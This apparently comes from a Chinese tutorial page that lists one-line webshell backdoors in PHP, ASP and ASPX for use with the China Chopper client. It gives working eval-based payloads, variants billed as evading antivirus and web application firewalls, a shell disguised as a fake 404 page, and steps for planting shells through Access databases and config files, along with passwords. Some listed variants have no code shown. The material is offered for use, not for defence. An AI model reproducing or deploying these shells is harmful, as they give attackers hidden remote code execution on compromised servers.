一句话 | 易学教程

PHP一句话：
1、普通一句话

2、防爆破一句话

//菜刀地址http://192.168.64.137/x.php?x=myh0st 密码：ki11

3、过狗一句话

//菜刀地址 http://localhost/1.php?s=assert

4、404隐藏一句话

?
<h1>Not Found</h1>
The requested URL /error.php was not found on this server.
 @preg_replace("/[checksql]/e",$_POST['ki11'],"saft");
?>

菜刀连接：
在配置栏写上

date=@eval($_POST[paxmac]);

5、不用　? 号的一句话

6、躲避检测

7、变形一句话后门

8、免杀一句话木马

访问该网页，然后菜刀连接：/myh0st.php 密码：ki11
ASP一句话：

1、普通一句话：

<%eval request("xiasha")%> 或
<%execute(request("ki11"))%>

2、unicode编码的access木马

向access数据库插入 ┼攠數畣整爠煥敵瑳∨≡┩> 编码前：<% execute request("a")%>

然后备份出webshell，密码a

3、配置文件插马（需要条件支持，插入的数据被写在了配置文件中）

插入："%><% bbbb=request("aaaa")%><%eval(bbbb)%><%' 访问爆错，获取到配置文件的地址，然后连接，密码aaaa

4、不用%的一句话

5、不用”的一句话：

<%eval request(chr(35))%> 密码：#

ASPX一句话：

1、普通一句话

<%@ Page Language="Jscript"%><%eval(Request.Item["ki11"],"unsafe");%>

2、免杀的ASPX一句话

<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["x61x62x63x64"];eval(PAY,"x75x6Ex73x61"+"x66x65");%>

3、又一个免杀的ASPX一句话

<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("ki11"))%>
